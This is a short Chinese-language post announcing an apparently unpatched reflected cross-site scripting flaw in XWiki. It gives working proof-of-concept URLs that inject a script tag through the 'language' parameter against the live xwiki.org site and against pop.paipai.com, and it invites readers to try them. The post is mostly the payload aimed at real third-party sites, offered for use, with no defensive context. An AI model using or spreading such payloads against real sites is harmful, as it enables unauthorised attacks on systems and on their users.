xwiki,新xss漏洞爆发

这回哥就啥也不说了。。第一次发现xwiki官方尚未处理的漏洞，直接去官方校验效果把:)

http://www.xwiki.org/xwiki/bin/view/XWiki/SilviaRusu?language=t5x%27t5x"><script>alert("abc")</script>

 

当然也可以来拍拍的API平台测试：）http://pop.paipai.com/

 

http://pop.paipai.com/bin/view/XWiki/weisong?language=t5x%27t5x"><script>alert("abc")</script>